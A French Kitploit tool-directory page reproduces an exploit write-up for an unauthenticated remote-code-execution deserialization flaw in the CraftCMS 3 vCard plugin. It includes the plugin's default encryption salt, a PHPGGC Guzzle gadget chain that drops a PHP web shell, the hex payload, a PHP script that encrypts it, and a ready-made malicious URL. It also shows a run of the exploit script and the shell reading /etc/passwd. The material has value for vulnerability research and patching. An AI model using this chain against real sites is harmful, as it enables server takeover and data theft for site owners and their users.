Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
craftcms-vcard-exploit — Ce dépôt contient des détails sur une vulnérabilité trouvée dans le plugin « vCard » pour CraftCMS 3. | Kitploit
Outils/GitLabGitLab/wguest/craftcms-vcard-exploit
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitLabwguest/craftcms-vcard-exploit

craftcms-vcard-exploit

Ce dépôt contient des détails sur une vulnérabilité trouvée dans le plugin « vCard » pour CraftCMS 3.

Voir le dépôt
1il y a 6 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Vulnérabilité de désérialisation du plugin vCard de Craft CMS

Craft CMS dispose d'un plugin pour télécharger des contacts au format de fichier *.vcf intitulé « vCard ». Le plugin peut être consulté dans le dépôt de Craft et sur Github : Craft Plugin Store Github

Description

Ce plugin prend un paramètre envoyé par le client, déchiffre la valeur avec openssl_decrypt, puis passe la chaîne résultante à la fonction unserialize de PHP. Comme le sel par défaut du chiffrement est disponible dans le dépôt, un attaquant peut utiliser la même logique pour chiffrer une charge utile sérialisée malveillante.

Si l'utilisateur a configuré une valeur de « salt » modifiée dans les paramètres du plugin, celle-ci devra être fournie comme paramètre au script Python. Cependant, cette valeur restera inchangée si le plugin est téléchargé depuis la boutique de plugins ou simplement en clonant le dépôt. Il n'existe aucune option pour la modifier via l'interface web de Craft.

Utilisation du script

Exécutez le script en fournissant le lien vCard qui déclenche le téléchargement du contact. Supprimez la valeur du paramètre vcard.

Exemple : Exemple de lien de téléchargement vCard : http://craftcms/index.php?p=actions/vcard/default/index&vcard=GxHwdD1xmDkQoWbn_nPsgVR-2VOQt6w_oDmLl9h4jAglePdkMM1NMBKHTmq9Uuu7XFM9qvNs3Mi_B0-bT2JbfsflmMDzL29w2QaP28vRBHmyDLTMcacJwuBXEDUqF-sxovuY7oN-YFZXA4jOwC0CyxjLKIjz3UWBf-1ItLRkqKSSAHBuHOMeB5drdTqw67ZCmnlLVI7FYVUNBS9q3WrMRWMhexjHbO2VymDdV3q0GOlZmES9Imgdwq9ibI6okG_QFqHHq33a8U_m4NPvjTqsdm6Wm3OjcPSVV9L2RR8ZnhN9CayfaShb5jligs5b0So2Vddo8EmCZUgKP7-BIT4dlWRGwD_F0w2PyjUZRsRx25ydy6ZklXXHMb4fkrxuKXaHGfB8Y9SUbcQYAUK2OZhZno0FKWzUABDEjjvquevUSTgJr7wNq2oU4YpBwWoQCNGX7ILAuWN8_7GFIajhosdoOilLiLTmoJPWHfdpNKRaZlYcLX9zF7fUXw_BsHJZOySZhbSL0Q7ktzs__DygIL5uuongteXKIafhUFZxPEcC1W9OHy767Lgg77hJwp7lqF1krtHbbQ1o-4hV12dPkouauQ

Le paramètre à passer au script serait alors : "http://craftcms/index.php?p=actions/vcard/default/index&vcard="

root@kitploit:~
$ ./exploit_vcard.py -u "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
Deserialization has been triggered, navigate to craftCMS webroot/shell.php
Use GET parameter 'cmd' to execute commands
Example: http://craftcms/shell.php?cmd=ls%20-al;whoami;ip%20a

Une valeur de sel facultative peut être fournie. Toutes les options sont affichées ci-dessous :

root@kitploit:~
usage: exploit_vcard.py [-h] -u URL [-s SALT] [-f FNAME]
Unauthenticated RCE for CraftCMS vCard Plugin

optional arguments:
-h, --help  show this help message and exit
-u URL      The URL for the vCard download without the vCard value Example:
          http://craftcms/index.php?p=actions/vcard/default/index&vcard=
-s SALT     Security key required for encrypting payload. Defaul is
          's34s4L7'
-f FNAME    File path/name to use as value in upload path: ./<value> . Use a
          PHP extension. Default value is 'shell.php'

Prérequis

  • Python3

Le script Python a été testé avec Python 3.6

  • PHP CLI

Le script exécutera une commande PHP sur la machine de l'attaquant pour chiffrer la charge utile. Par conséquent, php-cli devra être installé. Cette attaque a été testée avec PHP 7.2-cli et PHP 7.3-cli

Explication de la vulnérabilité

Voici un aperçu de l'endroit où le code désérialise de manière non sécurisée (VCardService.php:297) Github:

root@kitploit:~
  public function decodeUrlParam($optionsString = "")
  {
    $optionsString = $this->decrypt($optionsString);
    $options = unserialize($optionsString);
    return $options;
  }

Le paramètre $optionsString est la valeur du paramètre d'URL « vcard » fourni par le client. Il passe par la fonction decrypt puis est désérialisé. Si le client peut reproduire le chiffrement, alors ce code devient vulnérable car il désérialise directement des données fournies par l'utilisateur.

Voici la fonction de chiffrement en question (VCardService.php:306) Github:

root@kitploit:~
  protected function encrypt($string)
  {
    $key = VCard::$plugin->getSettings()->salt;
    $key = md5( $key );
    $iv = substr( md5( $key ), 0, 16);

    return rtrim(
      strtr(
        base64_encode(
          openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
        ),
        '+/', '-_'
      ), '='
    );
  }

La seule valeur qu'un attaquant doit connaître est la variable $key définie par « VCard::$plugin->getSettings()->salt ». La valeur par défaut peut être consultée dans le dépôt sous la forme « s34s4L7 » (config.php:26) Github

En supposant que le sel par défaut est utilisé, un attaquant peut forcer la désérialisation de n'importe quelle classe dans l'installation Craft.

Nous devons trouver une classe « gadget » dans l'installation par défaut de Craft que nous pouvons utiliser à des fins malveillantes. L'examen des classes qui possèdent des fonctions magiques __destruct ou __wakeup fournit une liste suffisamment restreinte pour être analysée. Cela peut être fait avec « grep -rni < path to web root > -e '__destruct' »

guzzlehttp possède une classe intitulée « FileCookieJar » qui semble enregistrer un fichier en utilisant un attribut de classe comme nom de fichier :

root@kitploit:~
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php:38:    public function __destruct()
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-39-    {
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-40-        $this->save($this->filename);
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-41-    }
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-42-

L'examen de la fonction save montre qu'elle écrit des données dans un chemin de fichier système, le chemin et les données étant tous deux des attributs de classe contrôlés par l'attaquant. Il est logique que lorsque cet objet de classe est détruit, il écrive les cookies qu'il contient dans l'attribut du nom de fichier pour être récupérés ou utilisés ultérieurement. Voici le contenu de la fonction save, avec file_put_contents comme cible (FileCookieJar.php:52) Github:

root@kitploit:~
public function save($filename)
{
    $json = [];
    foreach ($this as $cookie) {
        /** @var SetCookie $cookie */
        if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
            $json[] = $cookie->toArray();
        }
    }

    $jsonStr = \GuzzleHttp\json_encode($json);
 
    if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
        throw new \RuntimeException("Unable to save file {$filename}");
    }
}

Heureusement, nous n'avons pas à faire le travail manuel nécessaire pour construire nous-mêmes la charge utile malveillante. L'outil remarquable PHPGGC automatise la sérialisation d'une classe Guzzle avec une charge utile que nous pouvons utiliser dans cet exploit.

J'ai utilisé l'outil pour créer ceci comme charge utile de base pour le script d'exploitation, bien qu'elle soit légèrement modifiée selon le nom de fichier. Il est également important de noter que si vous générez une nouvelle charge utile avec PHPGGC, le paramètre « -f » doit être utilisé, sinon la fonction magique __destruct ne s'exécutera pas :

root@kitploit:~
craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f
a:2:{i:7;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:41:"GuzzleHttp\Cookie\FileCookieJarfilename";s:11:"./shell.php";s:52:"GuzzleHttp\Cookie\FileCookieJarstoreSessionCookies";b:1;s:36:"GuzzleHttp\Cookie\CookieJarcookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"GuzzleHttp\Cookie\SetCookiedata";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:67:"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']);    } ?>
";}}}s:39:"GuzzleHttp\Cookie\CookieJarstrictMode";N;}i:7;i:7;}

Le contenu de sample.txt est : <pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>

Attention : un simple copier-coller ne fonctionnera pas ici car la classe sérialisée contient des octets nuls qui doivent être présents pour que les attributs soient correctement mappés. J'ai dû convertir la sortie brute de l'outil en hexadécimal, puis la reconvertir en chaîne tout en imitant le processus de chiffrement. Voici la commande bash utilisée pour obtenir la charge utile hexadécimale.

root@kitploit:~
craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f | xxd | cut -d " " -f 2-9 | tr -d " \n"
613a323a7b693a373b4f3a33313a2247757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a6172223a343a7b733a34313a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720066696c656e616d65223b733a31313a222e2f7368656c6c2e706870223b733a35323a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720073746f726553657373696f6e436f6f6b696573223b623a313b733a33363a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a617200636f6f6b696573223b613a313a7b693a303b4f3a32373a2247757a7a6c65487474705c536574436f6f6b6965223a313a7b733a33333a220047757a7a6c65487474705c536574436f6f6b69650064617461223b613a333a7b733a373a2245787069726573223b693a313b733a373a2244697363617264223b623a303b733a353a2256616c7565223b733a36373a223c7072653e3c3f70687020696628697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b202020207d203f3e0a223b7d7d7d733a33393a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a6172007374726963744d6f6465223b4e3b7d693a373b693a373b7d0a

Il peut y avoir un octet « 0A » à la fin de la charge utile générée. Si c'est le cas, supprimez-le. Quoi qu'il en soit, maintenant que nous avons une charge utile de PHPGGC et l'avons convertie en hexadécimal, nous devons la chiffrer avant de l'envoyer à la fonction vulnérable du plugin. En reprenant la logique de la fonction de chiffrement vCard mentionnée précédemment, il suffit de convertir notre charge utile hexadécimale et de la chiffrer. Voici le script PHP que j'ai utilisé :

root@kitploit:~
<?php
$string = hex2bin("613a323a7b693a373b4f3a33313a2247757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a6172223a343a7b733a34313a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720066696c656e616d65223b733a31313a222e2f7368656c6c2e706870223b733a35323a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720073746f726553657373696f6e436f6f6b696573223b623a313b733a33363a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a617200636f6f6b696573223b613a313a7b693a303b4f3a32373a2247757a7a6c65487474705c536574436f6f6b6965223a313a7b733a33333a220047757a7a6c65487474705c536574436f6f6b69650064617461223b613a333a7b733a373a2245787069726573223b693a313b733a373a2244697363617264223b623a303b733a353a2256616c7565223b733a36373a223c7072653e3c3f70687020696628697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b202020207d203f3e0a223b7d7d7d733a33393a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a6172007374726963744d6f6465223b4e3b7d693a373b693a373b7d");

$key = "s34s4L7";
$key = md5( $key );
$iv = substr( md5( $key ), 0, 16);

$string2 = rtrim(
      strtr(
        base64_encode(
          openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
        ),
        '+/', '-_'
      ), '='
    );
echo  "Encrypted parameter:\n" . $string2 . "\n\n";

?>

Et le résultat obtenu :

root@kitploit:~
craft@craftcms:/var/www/vendor/nfourtythree/vcard/src/services$ php encrypt.php 
Encrypted parameter:
cNSH6Xu6XhGYYF8RHWjebL5TCVv32vqkNqZoh2Vt-eUgQ_dEw89U4X3av54G7mCWXiXxvzT9uGbXZzRmjKYDdPbeXSUBoNgPDsqqD0Ujj1tUuixk_fkswxCswFhL0dB6gddLdNPdgZcHEIHWOtlseKfcD8I8yWrr6i3OCEXt2gyXGZQwm_J9oSXE0I6piFT73vLrhwo06DLhO9gDxIqpZGzI9KTQv3p5oc7FypzF-f3lE_i8k8PUJDO22WEObPH71LYfhrq2FnSv3sgcfrKTmHmmiZFcV4hBY7l1Lrluyxg7FDVR4KSbUZYSKo6O7JnexhghdcJ6z1oqZJ7qVgarPo1zIfT0dIUs5CfVXjzpNcuz3WYVY5ekzjZs79aN-lGMrh2o-ZWpVFnGcunRcZOBNn-BzO88pAl9z4yL_tz_BFyH1WKfKHhgTMlpC73exQNHBiJevfne4EOV6A_rUzIRgzceoIssYpEQQxj2GY9hXzY8GEtn4O0x0BAA4GUe59PxNVh5oLQSC1h0vCJ5Bsmr33HAetLk9dZO0_6Mt4gaZikbjXLTE5obC0gnv7qdVZB80bQaKgpzzXjQOBRcXxGr5GUzmrwqU6gBSfcq_4GpCot7asDo7Sj2t7esUGDniV25Of_bzdz1Dqldc87cKYd42LxPx01oqpCTn0vtNL-loPY

Enfin ! Maintenant que nous avons notre charge utile, il suffit de l'envoyer dans une requête et le shell sera disponible. Le lien d'un téléchargement vCard valide varie. Voici un exemple issu de mon déploiement de test :

http://craftcms/index.php?p=actions/vcard/default/index&vcard=

La valeur du paramètre vcard est supprimée et remplacée par notre valeur malveillante :

http://craftcms/index.php?p=actions/vcard/default/index&vcard=cNSH6Xu6XhGYYF8RHWjebL5TCVv32vqkNqZoh2Vt-eUgQ_dEw89U4X3av54G7mCWXiXxvzT9uGbXZzRmjKYDdPbeXSUBoNgPDsqqD0Ujj1tUuixk_fkswxCswFhL0dB6gddLdNPdgZcHEIHWOtlseKfcD8I8yWrr6i3OCEXt2gyXGZQwm_J9oSXE0I6piFT73vLrhwo06DLhO9gDxIqpZGzI9KTQv3p5oc7FypzF-f3lE_i8k8PUJDO22WEObPH71LYfhrq2FnSv3sgcfrKTmHmmiZFcV4hBY7l1Lrluyxg7FDVR4KSbUZYSKo6O7JnexhghdcJ6z1oqZJ7qVgarPo1zIfT0dIUs5CfVXjzpNcuz3WYVY5ekzjZs79aN-lGMrh2o-ZWpVFnGcunRcZOBNn-BzO88pAl9z4yL_tz_BFyH1WKfKHhgTMlpC73exQNHBiJevfne4EOV6A_rUzIRgzceoIssYpEQQxj2GY9hXzY8GEtn4O0x0BAA4GUe59PxNVh5oLQSC1h0vCJ5Bsmr33HAetLk9dZO0_6Mt4gaZikbjXLTE5obC0gnv7qdVZB80bQaKgpzzXjQOBRcXxGr5GUzmrwqU6gBSfcq_4GpCot7asDo7Sj2t7esUGDniV25Of_bzdz1Dqldc87cKYd42LxPx01oqpCTn0vtNL-loPY

La chaîne passe en tant que $optionsString, est déchiffrée, puis désérialisée, ce qui provoque une erreur interne du serveur. L'examen du système de fichiers du serveur web de test montre qu'un nouveau fichier shell.php a été créé :

root@kitploit:~
craft@craftcms:/var/www/html$ ls
cpresources  index.php  shell.php  web.config

craft@craftcms:/var/www/html$ cat shell.php 
[{"Expires":1,"Discard":false,"Value":"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']);    } ?>\n"}]
craft@craftcms:/var/www/html$

En visitant http://craftcms/shell.php dans mon navigateur, je peux maintenant passer des commandes système via le paramètre GET cmd.

Exemple : http://craftcms/shell.php?cmd=cat%20/etc/passwd

root@kitploit:~
[{"Expires":1,"Discard":false,"Value":"<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...

Références

Génération de gadgets PHP: https://github.com/ambionics/phpggc

Plugin vCard: https://github.com/nfourtythree/craft3-vcard

Craft CMS: https://craftcms.com/

Documentation de unserialize: https://www.php.net/manual/en/function.unserialize.php

Télécharger l’outil